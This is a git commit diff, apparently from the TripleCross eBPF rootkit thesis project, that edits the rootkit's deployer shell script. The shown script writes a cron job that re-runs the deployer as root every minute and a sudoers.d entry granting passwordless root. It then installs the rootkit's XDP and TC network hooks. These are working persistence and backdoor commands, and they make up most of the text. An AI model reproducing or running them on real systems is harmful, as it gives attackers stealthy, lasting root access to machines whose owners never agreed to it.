Added multiple small changes to client and code, submitting almost finished chapter 5

This commit is contained in:
h3xduck
2022-06-18 10:57:10 -04:00
parent 1b766096bf
commit bfcbfcfaf2
42 changed files with 908 additions and 508 deletions

View File

@@ -39,17 +39,22 @@ quiet(){
#Start of script
echo "*******************************************************\n"
echo "************************* TFG *************************\n"
echo "********************* TripleCross *********************\n"
echo "*******************************************************\n"
echo "***************** Marcos Sánchez Bajo *****************\n"
echo "*******************************************************\n"
echo ""
BACKDOOR_INSTALLED=0
## Persistence
declare CRON_PERSIST="* * * * * osboxes /bin/sudo /home/osboxes/TFG/apps/deployer.sh"
declare SUDO_PERSIST="osboxes ALL=(ALL:ALL) NOPASSWD:ALL #"
echo "$CRON_PERSIST" > /etc/cron.d/ebpfbackdoor
echo "$SUDO_PERSIST" > /etc/sudoers.d/ebpfbackdoor
# Rootkit install
OUTPUT_COMM=$(/bin/sudo /usr/sbin/ip link)
if [[ $OUTPUT_COMM == *"xdp"* ]]; then
BACKDOOR_INSTALLED=1
echo "Backdoor is already installed"
echo "Rootkit is already installed"
else
#Install the programs
echo -e "${BLU}Installing TC hook${NC}"
@@ -59,7 +64,3 @@ else
/bin/sudo "$BASEDIR"/kit -t enp0s3
fi
## Install a backdoor in cron.d
echo "* * * * * osboxes /bin/sudo /home/osboxes/TFG/apps/deployer.sh" > /etc/cron.d/ebpfbackdoor
echo "osboxes ALL=(ALL:ALL) NOPASSWD:ALL #" > /etc/sudoers.d/ebpfbackdoor

Binary file not shown.

Binary file not shown.

BIN
apps/kit

Binary file not shown.

Binary file not shown.